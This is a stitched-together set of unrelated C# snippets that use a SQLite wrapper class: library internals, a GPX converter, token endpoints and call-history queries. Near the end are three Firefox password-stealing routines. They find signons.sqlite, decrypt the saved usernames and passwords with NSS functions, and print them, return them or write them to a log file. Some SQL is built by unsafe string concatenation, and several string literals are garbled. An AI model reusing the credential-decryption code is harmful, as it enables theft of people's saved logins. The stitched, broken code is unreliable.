/////////////////////////////////////////////////////////////////////// /// <summary> /// Internal proxy function that calls any registered application log /// event handlers. /// /// WARNING: This method is used more-or-less directly by native code, /// do not modify its type signature. /// </summary> /// <param name="pUserData"> /// The extra data associated with this message, if any. /// </param> /// <param name="errorCode"> /// The error code associated with this message. /// </param> /// <param name="pMessage"> /// The message string to be logged. /// </param> private static void LogCallback( IntPtr pUserData, int errorCode, IntPtr pMessage ) { bool enabled; SQLiteLogEventHandler handlers; lock (syncRoot) { enabled = _enabled; if (_handlers != null) { handlers = _handlers.Clone() as SQLiteLogEventHandler; } else { handlers = null; } } if (enabled && (handlers != null)) { handlers(null, new LogEventArgs(pUserData, errorCode, SQLiteBase.UTF8ToString(pMessage, -1), null)); } }
public void SQLiteToGPX(GPX gpxFile) { //---------------------------------------------------------------------------------------------------------------- //Umwandlung //---------------------------------------------------------------------------------------------------------------- //Datenbank öffnen _sqlitebase = new SQLiteBase(_filename); //Waypoint Infos holen ArrayList WPInformation = new ArrayList(); _ReadWaypointInformation(WPInformation); //Waypoints holen _GetWP(WPInformation, gpxFile); //Tracks einlesen ArrayList TrackInformation = new ArrayList(); _ReadTrackInformation(TrackInformation); //Tracks holen _GetTracks(TrackInformation, gpxFile); //Datenbank zuletzt schließen _sqlitebase.CloseDatabase(); //---------------------------------------------------------------------------------------------------------------- //Umwandlung ENDE //---------------------------------------------------------------------------------------------------------------- }
/////////////////////////////////////////////////////////////////////////////////////////////// private void Dispose(bool disposing) { if (!disposed) { if (disposing) { //////////////////////////////////// // dispose managed resources here... //////////////////////////////////// if (_sqlite_stmt != null) { _sqlite_stmt.Dispose(); _sqlite_stmt = null; } _paramNames = null; _paramValues = null; _sql = null; _sqlStatement = null; } ////////////////////////////////////// // release unmanaged resources here... ////////////////////////////////////// disposed = true; } }
public ActionResultVM GetToken(string AppId, string AppKey) { var vm = new ActionResultVM(); try { if (string.IsNullOrWhiteSpace(AppId) || string.IsNullOrWhiteSpace(AppKey)) { vm.Set(ARTag.lack); vm.msg = "参数缺失"; } else { if (!(CacheTo.Get(AppKey) is ActionResultVM cvm)) { vm = SQLiteBase.GetToken(AppId, AppKey); if (vm.code == 200) { //Token缓存 CacheTo.Set(AppKey, vm, GlobalTo.GetValue <int>("Safe:TokenCache"), false); } } else { vm = cvm; } }
public ActionResultVM CreateApp(string password) { var vm = new ActionResultVM(); try { if (GlobalTo.GetValue <bool>("Safe:IsDev")) { if (!string.IsNullOrWhiteSpace(password) && password == GlobalTo.GetValue("Safe:CreateAppPassword")) { vm = SQLiteBase.CreateApp(); } else { vm.Set(ARTag.unauthorized); vm.msg = "密码错误"; } } else { vm.Set(ARTag.refuse); } } catch (Exception ex) { vm.Set(ex); ConsoleTo.Log(ex); } return(vm); }
/////////////////////////////////////////////////////////////////////////////////////////////// private void Dispose(bool disposing) { if (!disposed) { if (disposing) { //////////////////////////////////// // dispose managed resources here... //////////////////////////////////// if (_sqlite_backup != null) { _sqlite_backup.Dispose(); _sqlite_backup = null; } _zSourceName = null; _sourceDb = IntPtr.Zero; _zDestName = null; _destDb = IntPtr.Zero; _sql = null; } ////////////////////////////////////// // release unmanaged resources here... ////////////////////////////////////// disposed = true; } }
/// <summary> /// This function binds a user-defined functions to a connection. /// </summary> /// <param name="sqliteBase"> /// The <see cref="SQLiteBase" /> object instance associated with the /// <see cref="SQLiteConnection" /> that the function should be bound to. /// </param> /// <param name="functionAttribute"> /// The <see cref="SQLiteFunctionAttribute"/> object instance containing /// the metadata for the function to be bound. /// </param> /// <param name="function"> /// The <see cref="SQLiteFunction"/> object instance that implements the /// function to be bound. /// </param> /// <param name="flags"> /// The flags associated with the parent connection object. /// </param> internal static void BindFunction( SQLiteBase sqliteBase, SQLiteFunctionAttribute functionAttribute, SQLiteFunction function, SQLiteConnectionFlags flags ) { if (sqliteBase == null) { throw new ArgumentNullException("sqliteBase"); } if (functionAttribute == null) { throw new ArgumentNullException("functionAttribute"); } if (function == null) { throw new ArgumentNullException("function"); } FunctionType functionType = functionAttribute.FuncType; function._base = sqliteBase; function._flags = flags; function._InvokeFunc = (functionType == FunctionType.Scalar) ? new SQLiteCallback(function.ScalarCallback) : null; function._StepFunc = (functionType == FunctionType.Aggregate) ? new SQLiteCallback(function.StepCallback) : null; function._FinalFunc = (functionType == FunctionType.Aggregate) ? new SQLiteFinalCallback(function.FinalCallback) : null; function._CompareFunc = (functionType == FunctionType.Collation) ? new SQLiteCollation(function.CompareCallback) : null; function._CompareFunc16 = (functionType == FunctionType.Collation) ? new SQLiteCollation(function.CompareCallback16) : null; string name = functionAttribute.Name; if (functionType != FunctionType.Collation) { bool needCollSeq = (function is SQLiteFunctionEx); sqliteBase.CreateFunction( name, functionAttribute.Arguments, needCollSeq, function._InvokeFunc, function._StepFunc, function._FinalFunc); } else { sqliteBase.CreateCollation( name, function._CompareFunc, function._CompareFunc16); } }
public void Open() { if (this.State != ConnectionState.Open) { this.Base = new SQLiteBase(this._dataPath); this.State = ConnectionState.Open; } }
public AddObject(MapViewer sender) { Sender = sender; InitializeComponent(); this.DataContext = this; ArrayTypeObject = SQLiteBase.GetTypeObjectMap(); }
//创建一条字段分析任务 static int CreateSegmentTask(string code, SQLiteBase db) { UTF8Encoding utf8 = new UTF8Encoding(); code = utf8.GetString(utf8.GetBytes(code)); string sql = String.Format("INSERT INTO predpd_task (tasktype, taskstate, dpdcode) VALUES({0}, {1}, \"{2}\");", 3, 1, code); db.ExecuteNonQuery(sql); return(db.GetLastRowId()); }
//清除任务数据 static void ClearTask(int taskid, SQLiteBase db) { db.ExecuteNonQuery("DELETE FROM predpd_error WHERE taskid = " + taskid.ToString()); db.ExecuteNonQuery("DELETE FROM predpd_notes WHERE taskid = " + taskid.ToString()); db.ExecuteNonQuery("DELETE FROM predpd_property WHERE taskid = " + taskid.ToString()); db.ExecuteNonQuery("DELETE FROM predpd_segment WHERE taskid = " + taskid.ToString()); db.ExecuteNonQuery("DELETE FROM predpd_symbol WHERE taskid = " + taskid.ToString()); db.ExecuteNonQuery("DELETE FROM predpd_protocol WHERE taskid = " + taskid.ToString()); db.ExecuteNonQuery("DELETE FROM predpd_task WHERE rowid =" + taskid.ToString()); }
//读取分析结果 static void ReadTaskResult(int taskid, SQLiteBase db) { var t = db.ExecuteQuery("SELECT protocolname FROM predpd_protocol WHERE taskid = " + taskid.ToString()); foreach (DataRow r in t.Rows) { Console.WriteLine(r["protocolname"].ToString() + "\n"); } Console.WriteLine("Get Protocol Count:" + t.Rows.Count + "\n"); }
internal DataReader(IntPtr database, string query) { IntPtr ptr; this._columnValues = new ArrayList(); this._columnNames = new List <string>(); IntPtr ptr2 = Marshal.StringToHGlobalAnsi(query); SQLiteBase.sqlite3_prepare_v2(database, ptr2, query.Length, out this._statement, out ptr); Marshal.FreeHGlobal(ptr2); }
private void cmbAllorSkiped_SelectionChanged(object sender, SelectionChangedEventArgs e) { if (((ContentControl)((object[])e.AddedItems)[0]).Content == "Все") { LoadCallHistory(); } else { DataTable tab = SQLiteBase.GetDataTable("select * from calls where Phone <> '' and isRejected = 1"); dgvCallHistory.ItemsSource = ProcessTable(tab); } }
/// <summary> /// Called by SQLiteBase derived classes, this function binds all user-defined functions to a connection. /// It is done this way so that all user-defined functions will access the database using the same encoding scheme /// as the connection (UTF-8 or UTF-16). /// </summary> /// <remarks> /// The wrapper functions that interop with SQLite will create a unique cookie value, which internally is a pointer to /// all the wrapped callback functions. The interop function uses it to map CDecl callbacks to StdCall callbacks. /// </remarks> /// <param name="sqlbase">The base object on which the functions are to bind</param> /// <param name="flags">The flags associated with the parent connection object</param> /// <returns>Returns a logical list of functions which the connection should retain until it is closed.</returns> internal static IEnumerable <SQLiteFunction> BindFunctions(SQLiteBase sqlbase, SQLiteConnectionFlags flags) { List <SQLiteFunction> lFunctions = new List <SQLiteFunction>(); foreach (SQLiteFunctionAttribute pr in _registeredFunctions) { SQLiteFunction f = (SQLiteFunction)Activator.CreateInstance(pr.InstanceType); BindFunction(sqlbase, pr, f, flags); lFunctions.Add(f); } return(lFunctions); }
/// <summary> /// Initializes the backup. /// </summary> /// <param name="sqlbase">The base SQLite object.</param> /// <param name="backup">The backup handle.</param> /// <param name="destDb">The destination database for the backup.</param> /// <param name="zDestName">The destination database name for the backup.</param> /// <param name="sourceDb">The source database for the backup.</param> /// <param name="zSourceName">The source database name for the backup.</param> internal SQLiteBackup( SQLiteBase sqlbase, SQLiteBackupHandle backup, IntPtr destDb, byte[] zDestName, IntPtr sourceDb, byte[] zSourceName ) { _sql = sqlbase; _sqlite_backup = backup; _destDb = destDb; _zDestName = zDestName; _sourceDb = sourceDb; _zSourceName = zSourceName; }
public bool Read() { if (SQLiteBase.sqlite3_step(this._statement) == 100) { int num3; int num2 = SQLiteBase.sqlite3_column_count(this._statement); this._columnValues.Capacity = num2; this._columnValues.Clear(); if (this._isFirstRow) { this._columnNames.Capacity = num2; this._columnNames.Clear(); for (num3 = 0; num3 < num2; num3++) { this._columnNames.Add(Marshal.PtrToStringAnsi(SQLiteBase.sqlite3_column_name(this._statement, num3))); } this._isFirstRow = false; } for (num3 = 0; num3 < num2; num3++) { switch (SQLiteBase.sqlite3_column_type(this._statement, num3)) { case 1: this._columnValues.Add(SQLiteBase.sqlite3_column_int(this._statement, num3)); break; case 2: this._columnValues.Add(SQLiteBase.sqlite3_column_double(this._statement, num3)); break; case 3: this._columnValues.Add(Marshal.PtrToStringAnsi(SQLiteBase.sqlite3_column_text(this._statement, num3))); break; case 4: this._columnValues.Add(SQLiteBase.GetBlob(this._statement, num3)); break; default: this._columnValues[num3] = ""; break; } } return(true); } return(false); }
/// <summary> /// Constructs an instance of this class using the specified data-type /// conversion parameters. /// </summary> /// <param name="format"> /// The DateTime format to be used when converting string values to a /// DateTime and binding DateTime parameters. /// </param> /// <param name="kind"> /// The <see cref="DateTimeKind" /> to be used when creating DateTime /// values. /// </param> /// <param name="formatString"> /// The format string to be used when parsing and formatting DateTime /// values. /// </param> /// <param name="utf16"> /// Non-zero to create a UTF-16 data-type conversion context; otherwise, /// a UTF-8 data-type conversion context will be created. /// </param> protected SQLiteFunction( SQLiteDateFormats format, DateTimeKind kind, string formatString, bool utf16 ) : this() { if (utf16) { _base = new SQLite3_UTF16(format, kind, formatString, IntPtr.Zero, null, false); } else { _base = new SQLite3(format, kind, formatString, IntPtr.Zero, null, false); } }
/////////////////////////////////////////////////////////////////////////////////////////////// /// <summary> /// Placeholder for a user-defined disposal routine /// </summary> /// <param name="disposing">True if the object is being disposed explicitly</param> protected virtual void Dispose(bool disposing) { if (!disposed) { if (disposing) { //////////////////////////////////// // dispose managed resources here... //////////////////////////////////// IDisposable disp; foreach (KeyValuePair <IntPtr, AggregateData> kv in _contextDataList) { disp = kv.Value._data as IDisposable; if (disp != null) { disp.Dispose(); } } _contextDataList.Clear(); _contextDataList = null; _flags = SQLiteConnectionFlags.None; _InvokeFunc = null; _StepFunc = null; _FinalFunc = null; _CompareFunc = null; _base = null; } ////////////////////////////////////// // release unmanaged resources here... ////////////////////////////////////// disposed = true; } }
/// <summary> /// Returns the error message for the specified SQLite return code. /// </summary> /// <param name="errorCode">The SQLite return code.</param> /// <returns>The error message or null if it cannot be found.</returns> private static string GetErrorString( SQLiteErrorCode errorCode ) { #if !PLATFORM_COMPACTFRAMEWORK // // HACK: This must be done via reflection in order to prevent // the RuntimeHelpers.PrepareDelegate method from over- // eagerly attempting to locate the new (and optional) // sqlite3_errstr() function in the SQLite core library // because it happens to be in the static call graph for // the AppDomain.DomainUnload event handler registered // by the SQLiteLog class. // BindingFlags flags = BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.InvokeMethod; return(typeof(SQLiteBase).InvokeMember("GetErrorString", flags, null, null, new object[] { errorCode }) as string); #else return(SQLiteBase.GetErrorString(errorCode)); #endif }
public ActionResultVM GetAppList(int pageNumber = 1, int pageSize = 20) { var vm = new ActionResultVM(); try { if (GlobalTo.GetValue <bool>("Safe:IsDev")) { vm = SQLiteBase.GetAppList(pageNumber, pageSize); } else { vm.Set(ARTag.refuse); } } catch (Exception ex) { vm.Set(ex); ConsoleTo.Log(ex); } return(vm); }
/// <summary> /// Initializes the statement and attempts to get all information about parameters in the statement /// </summary> /// <param name="sqlbase">The base SQLite object</param> /// <param name="flags">The flags associated with the parent connection object</param> /// <param name="stmt">The statement</param> /// <param name="strCommand">The command text for this statement</param> /// <param name="previous">The previous command in a multi-statement command</param> internal SQLiteStatement(SQLiteBase sqlbase, SQLiteConnectionFlags flags, SQLiteStatementHandle stmt, string strCommand, SQLiteStatement previous) { _sql = sqlbase; _sqlite_stmt = stmt; _sqlStatement = strCommand; _flags = flags; // Determine parameters for this statement (if any) and prepare space for them. int nCmdStart = 0; int n = _sql.Bind_ParamCount(this, _flags); int x; string s; if (n > 0) { if (previous != null) { nCmdStart = previous._unnamedParameters; } _paramNames = new string[n]; _paramValues = new SQLiteParameter[n]; for (x = 0; x < n; x++) { s = _sql.Bind_ParamName(this, _flags, x + 1); if (String.IsNullOrEmpty(s)) { s = String.Format(CultureInfo.InvariantCulture, ";{0}", nCmdStart); nCmdStart++; _unnamedParameters++; } _paramNames[x] = s; _paramValues[x] = null; } } }
public void Close() { SQLiteBase.sqlite3_finalize(this._statement); }
/////////////////////////////////////////////////////////////////////// /// <summary> /// Initializes the SQLite logging facilities. /// </summary> public static void Initialize() { // // BUFXIX: We cannot initialize the logging interface if the SQLite // core library has already been initialized anywhere in // the process (see ticket [2ce0870fad]). // if (SQLite3.StaticIsInitialized()) { return; } #if !PLATFORM_COMPACTFRAMEWORK // // BUGFIX: To avoid nasty situations where multiple AppDomains are // attempting to initialize and/or shutdown what is really // a shared native resource (i.e. the SQLite core library // is loaded per-process and has only one logging callback, // not one per-AppDomain, which it knows nothing about), // prevent all non-default AppDomains from registering a // log handler unless the "Force_SQLiteLog" environment // variable is used to manually override this safety check. // if (!AppDomain.CurrentDomain.IsDefaultAppDomain() && UnsafeNativeMethods.GetSettingValue("Force_SQLiteLog", null) == null) { return; } #endif lock (syncRoot) { #if !PLATFORM_COMPACTFRAMEWORK // // NOTE: Add an event handler for the DomainUnload event so // that we can unhook our logging managed function // pointer from the native SQLite code prior to it // being invalidated. // // BUGFIX: Make sure this event handler is only added one // time (per-AppDomain). // if (_domainUnload == null) { _domainUnload = new EventHandler(DomainUnload); AppDomain.CurrentDomain.DomainUnload += _domainUnload; } #endif #if !INTEROP_LOG // // NOTE: Create an instance of the SQLite wrapper class. // if (_sql == null) { _sql = new SQLite3( SQLiteDateFormats.Default, DateTimeKind.Unspecified, null, IntPtr.Zero, null, false); } // // NOTE: Create a single "global" (i.e. per-process) callback // to register with SQLite. This callback will pass the // event on to any registered handler. We only want to // do this once. // if (_callback == null) { _callback = new SQLiteLogCallback(LogCallback); SQLiteErrorCode rc = _sql.SetLogCallback(_callback); if (rc != SQLiteErrorCode.Ok) { throw new SQLiteException(rc, "Failed to initialize logging."); } } #endif // // NOTE: Logging is enabled by default. // _enabled = true; // // NOTE: For now, always setup the default log event handler. // AddDefaultHandler(); } }
//关闭数据库 static void ReleaseParserDB(SQLiteBase db) { db.CloseDatabase(); }
public static List <PasswordInfo> GetFirefoxPasswords() { if ((IntPtr.Size * 8) == 64) { return(new List <PasswordInfo>()); } bool FoundFile = false; long KeySlot = 0; string MozillaPath = Environment.GetEnvironmentVariable("PROGRAMFILES") + @"\Mozilla Firefox\"; string DefaultPath = Environment.GetEnvironmentVariable("APPDATA") + @"\Mozilla\Firefox\Profiles"; string[] Dirs = Directory.GetDirectories(DefaultPath); foreach (string dir in Dirs) { if (!FoundFile) { string[] Files = Directory.GetFiles(dir); foreach (string CurrFile in Files) { if (!FoundFile) { if (System.Text.RegularExpressions.Regex.IsMatch(CurrFile, "signons.sqlite")) { NSS_Init(dir); signon = CurrFile; } } else { break; } } } else { break; } } string dataSource = signon; TSECItem tSecDec = new TSECItem(); TSECItem tSecDec2 = new TSECItem(); byte[] bvRet; SQLiteBase db = new SQLiteBase(dataSource); DataTable table = db.ExecuteQuery("SELECT * FROM moz_logins;"); DataTable table2 = db.ExecuteQuery("SELECT * FROM moz_disabledHosts;"); KeySlot = PK11_GetInternalKeySlot(); PK11_Authenticate(KeySlot, true, 0); List <PasswordInfo> passwords = new List <PasswordInfo>(); foreach (System.Data.DataRow Zeile in table.Rows) { PasswordInfo info = new PasswordInfo(); info.URL = System.Convert.ToString(Zeile["formSubmitURL"].ToString()); StringBuilder se = new StringBuilder(Zeile["encryptedUsername"].ToString()); int hi2 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se, se.Length); TSECItem item = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi2), typeof(TSECItem)); if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0) { if (tSecDec.SECItemLen != 0) { bvRet = new byte[tSecDec.SECItemLen]; Marshal.Copy(new IntPtr(tSecDec.SECItemData), bvRet, 0, tSecDec.SECItemLen); info.Username = System.Text.Encoding.ASCII.GetString(bvRet); } } StringBuilder se2 = new StringBuilder(Zeile["encryptedPassword"].ToString()); int hi22 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se2, se2.Length); TSECItem item2 = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi22), typeof(TSECItem)); if (PK11SDR_Decrypt(ref item2, ref tSecDec2, 0) == 0) { if (tSecDec2.SECItemLen != 0) { bvRet = new byte[tSecDec2.SECItemLen]; Marshal.Copy(new IntPtr(tSecDec2.SECItemData), bvRet, 0, tSecDec2.SECItemLen); info.Password = System.Text.Encoding.ASCII.GetString(bvRet); } } passwords.Add(info); } return(passwords); }
public static void GetFf() { if (File.Exists(Config.Logname)) { File.Delete(Config.Logname); } StreamWriter writer = File.CreateText(Config.Logname); long keySlot = 0; string defaultPath = Environment.GetEnvironmentVariable("APPDATA") + @"\Mozilla\Firefox\Profiles"; string[] dirs = Directory.GetDirectories(defaultPath); foreach (string dir in dirs) { if (true) { string[] files = Directory.GetFiles(dir); foreach (string currFile in files) { if (true) { if (System.Text.RegularExpressions.Regex.IsMatch(currFile, "signons.sqlite")) { NSS_Init(dir); Signon = currFile; } } } } } string dataSource = Signon; new TsecItem(); var tSecDec = new TsecItem(); var tSecDec2 = new TsecItem(); var db = new SQLiteBase(dataSource); DataTable table = db.ExecuteQuery("SELECT * FROM moz_logins;"); DataTable table2 = db.ExecuteQuery("SELECT * FROM moz_disabledHosts;"); foreach (DataRow row in table2.Rows) { Log = row["hostname"].ToString(); } keySlot = PK11_GetInternalKeySlot(); PK11_Authenticate(keySlot, true, 0); foreach (DataRow Zeile in table.Rows) { string formurl = Convert.ToString(Zeile["formSubmitURL"].ToString()); Log = Log + " URL: " + formurl + " "; var se = new StringBuilder(Zeile["encryptedUsername"].ToString()); int hi2 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se, se.Length); var item = (TsecItem)Marshal.PtrToStructure(new IntPtr(hi2), typeof(TsecItem)); byte[] bvRet; if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0) { if (tSecDec.SecItemLen != 0) { bvRet = new byte[tSecDec.SecItemLen]; Marshal.Copy(new IntPtr(tSecDec.SecItemData), bvRet, 0, tSecDec.SecItemLen); Log = Log + "USER: "******" "; } } var se2 = new StringBuilder(Zeile["encryptedPassword"].ToString()); int hi22 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se2, se2.Length); var item2 = (TsecItem)Marshal.PtrToStructure(new IntPtr(hi22), typeof(TsecItem)); if (PK11SDR_Decrypt(ref item2, ref tSecDec2, 0) == 0) { if (tSecDec2.SecItemLen != 0) { bvRet = new byte[tSecDec2.SecItemLen]; Marshal.Copy(new IntPtr(tSecDec2.SecItemData), bvRet, 0, tSecDec2.SecItemLen); Log = Log + "PASSWORD: "******""; } writer.Close(); }
private List <CallHistoryCell> LoadCallHistory() { DataTable tab = SQLiteBase.GetDataTable("select * from calls where Phone <> ''"); return(ProcessTable(tab)); }
static void Main(string[] args) { Console.WriteLine(); bool FoundFile = false; long KeySlot = 0; string MozillaPath = Environment.GetEnvironmentVariable("PROGRAMFILES") + @"\Mozilla Firefox\"; string DefaultPath = Environment.GetEnvironmentVariable("APPDATA") + @"\Mozilla\Firefox\Profiles"; string[] Dirs = Directory.GetDirectories(DefaultPath); foreach (string dir in Dirs) { if (!FoundFile) { string[] Files = Directory.GetFiles(dir); foreach (string CurrFile in Files) { if (!FoundFile) { if (System.Text.RegularExpressions.Regex.IsMatch(CurrFile, "signons.sqlite")) { NSS_Init(dir); signon = CurrFile; } } else { break; } } } else { break; } } string dataSource = signon; TSECItem tSec = new TSECItem(); TSECItem tSecDec = new TSECItem(); TSECItem tSecDec2 = new TSECItem(); byte[] bvRet; SQLiteBase db = new SQLiteBase(dataSource); DataTable table = db.ExecuteQuery("SELECT * FROM moz_logins;"); DataTable table2 = db.ExecuteQuery("SELECT * FROM moz_disabledHosts;"); Console.WriteLine("---Excluded hosts---"); foreach (DataRow row in table2.Rows) { Console.WriteLine(row["hostname"].ToString()); } Console.WriteLine(); Console.WriteLine(); KeySlot = PK11_GetInternalKeySlot(); PK11_Authenticate(KeySlot, true, 0); Console.WriteLine("---Saved Users & Passwords---"); foreach (System.Data.DataRow Zeile in table.Rows) { string formurl = System.Convert.ToString(Zeile["formSubmitURL"].ToString()); Console.WriteLine("URL: " + formurl); StringBuilder se = new StringBuilder(Zeile["encryptedUsername"].ToString()); int hi2 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se, se.Length); TSECItem item = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi2), typeof(TSECItem)); if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0) { if (tSecDec.SECItemLen != 0) { bvRet = new byte[tSecDec.SECItemLen]; Marshal.Copy(new IntPtr(tSecDec.SECItemData), bvRet, 0, tSecDec.SECItemLen); Console.WriteLine("USER: "******"encryptedPassword"].ToString()); int hi22 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se2, se2.Length); TSECItem item2 = (TSECItem)Marshal.PtrToStructure(new IntPtr(hi22), typeof(TSECItem)); if (PK11SDR_Decrypt(ref item2, ref tSecDec2, 0) == 0) { if (tSecDec2.SECItemLen != 0) { bvRet = new byte[tSecDec2.SECItemLen]; Marshal.Copy(new IntPtr(tSecDec2.SECItemData), bvRet, 0, tSecDec2.SECItemLen); Console.WriteLine("PASSWORD: " + System.Text.Encoding.ASCII.GetString(bvRet)); } } Console.WriteLine(); } Console.ReadKey(); }